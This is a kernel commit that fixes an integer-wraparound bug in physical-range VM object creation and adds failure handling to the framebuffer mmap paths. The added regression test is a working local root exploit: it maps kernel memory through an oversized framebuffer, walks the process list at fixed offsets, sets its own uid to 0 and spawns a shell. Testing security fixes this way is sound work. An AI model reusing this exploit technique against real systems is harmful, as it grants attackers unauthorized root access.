Kernel: AnonymousVMObject::create_for_physical_range() should fail more

Previously it was not possible for this function to fail. You could
exploit this by triggering the creation of a VMObject whose physical
memory range would wrap around the 32-bit limit.

It was quite easy to map kernel memory into userspace and read/write
whatever you wanted in it.

Test: Kernel/bxvga-mmap-kernel-into-userspace.cpp

Author: awesomekling

Kernel/Devices/BXVGADevice.cpp

@@ -116,10 +116,12 @@ KResultOr<Region*> BXVGADevice::mmap(Process& process, FileDescription&, Virtual
     ASSERT(offset == 0);
     ASSERT(size == framebuffer_size_in_bytes());
     auto vmobject = AnonymousVMObject::create_for_physical_range(m_framebuffer_address, framebuffer_size_in_bytes());
+    if (!vmobject)
+        return KResult(-ENOMEM);
     auto* region = process.allocate_region_with_vmobject(
         preferred_vaddr,
         framebuffer_size_in_bytes(),
-        move(vmobject),
+        vmobject.release_nonnull(),
         0,
         "BXVGA Framebuffer",
         prot);

Kernel/Devices/MBVGADevice.cpp

@@ -55,10 +55,12 @@ KResultOr<Region*> MBVGADevice::mmap(Process& process, FileDescription&, Virtual
     ASSERT(offset == 0);
     ASSERT(size == framebuffer_size_in_bytes());
     auto vmobject = AnonymousVMObject::create_for_physical_range(m_framebuffer_address, framebuffer_size_in_bytes());
+    if (!vmobject)
+        return KResult(-ENOMEM);
     auto* region = process.allocate_region_with_vmobject(
         preferred_vaddr,
         framebuffer_size_in_bytes(),
-        move(vmobject),
+        vmobject.release_nonnull(),
         0,
         "MBVGA Framebuffer",
         prot);

Kernel/VM/AnonymousVMObject.cpp

@@ -32,8 +32,12 @@ NonnullRefPtr<AnonymousVMObject> AnonymousVMObject::create_with_size(size_t size
     return adopt(*new AnonymousVMObject(size));
 }
 
-NonnullRefPtr<AnonymousVMObject> AnonymousVMObject::create_for_physical_range(PhysicalAddress paddr, size_t size)
+RefPtr<AnonymousVMObject> AnonymousVMObject::create_for_physical_range(PhysicalAddress paddr, size_t size)
 {
+    if (paddr.offset(size) < paddr) {
+        dbg() << "Shenanigans! create_for_physical_range(" << paddr << ", " << size << ") would wrap around";
+        return nullptr;
+    }
     return adopt(*new AnonymousVMObject(paddr, size));
 }
 

Kernel/VM/AnonymousVMObject.h

@@ -34,7 +34,7 @@ class AnonymousVMObject : public VMObject {
     virtual ~AnonymousVMObject() override;
 
     static NonnullRefPtr<AnonymousVMObject> create_with_size(size_t);
-    static NonnullRefPtr<AnonymousVMObject> create_for_physical_range(PhysicalAddress, size_t);
+    static RefPtr<AnonymousVMObject> create_for_physical_range(PhysicalAddress, size_t);
     static NonnullRefPtr<AnonymousVMObject> create_with_physical_page(PhysicalPage&);
     virtual NonnullRefPtr<VMObject> clone() override;
 

Kernel/VM/MemoryManager.cpp

@@ -313,11 +313,14 @@ OwnPtr<Region> MemoryManager::allocate_kernel_region(PhysicalAddress paddr, size
     ASSERT(!(size % PAGE_SIZE));
     auto range = kernel_page_directory().range_allocator().allocate_anywhere(size);
     ASSERT(range.is_valid());
+    auto vmobject = AnonymousVMObject::create_for_physical_range(paddr, size);
+    if (!vmobject)
+        return nullptr;
     OwnPtr<Region> region;
     if (user_accessible)
-        region = Region::create_user_accessible(range, AnonymousVMObject::create_for_physical_range(paddr, size), 0, name, access, cacheable);
+        region = Region::create_user_accessible(range, vmobject.release_nonnull(), 0, name, access, cacheable);
     else
-        region = Region::create_kernel_only(range, AnonymousVMObject::create_for_physical_range(paddr, size), 0, name, access, cacheable);
+        region = Region::create_kernel_only(range, vmobject.release_nonnull(), 0, name, access, cacheable);
     region->map(kernel_page_directory());
     return region;
 }

Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp

@@ -0,0 +1,92 @@
+#include <AK/Types.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+int main()
+{
+    int fd = open("/dev/fb0", O_RDWR);
+    if (fd < 0) {
+        perror("open");
+        return 1;
+    }
+
+    size_t width = 17825;
+    size_t height = 1000;
+    size_t pitch = width * 4;
+    size_t framebuffer_size_in_bytes = pitch * height * 2;
+
+    FBResolution original_resolution;
+    if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
+        perror("ioctl");
+        return 1;
+    }
+
+    FBResolution resolution;
+    resolution.width = width;
+    resolution.height = height;
+    resolution.pitch = pitch;
+
+    if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
+        perror("ioctl");
+        return 1;
+    }
+
+    auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
+    if (ptr == MAP_FAILED) {
+        perror("mmap");
+        return 1;
+    }
+
+    printf("Success! Evil pointer: %p\n", ptr);
+
+    u8* base = &ptr[128 * MB];
+
+    uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
+    printf("base = %p\n", base);
+    printf("g_processes = %#08x\n", g_processes);
+
+    auto get_ptr = [&](uintptr_t value) -> void* {
+        value -= 0xc0000000;
+        return (void*)&base[value];
+    };
+
+    struct ProcessList {
+        uintptr_t head;
+        uintptr_t tail;
+    };
+
+    struct Process {
+        // 32 next
+        // 40 pid
+        // 44 uid
+        u8 dummy[32];
+        uintptr_t next;
+        u8 dummy2[4];
+        pid_t pid;
+        uid_t uid;
+    };
+
+    ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
+
+    Process* process = (Process*)get_ptr(process_list->head);
+
+    printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
+
+    if (process->pid == getpid()) {
+        printf("That's me! Let's become r00t!\n");
+        process->uid = 0;
+    }
+
+    if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
+        perror("ioctl");
+        return 1;
+    }
+
+    execl("/bin/sh", "sh", nullptr);
+
+    return 0;
+}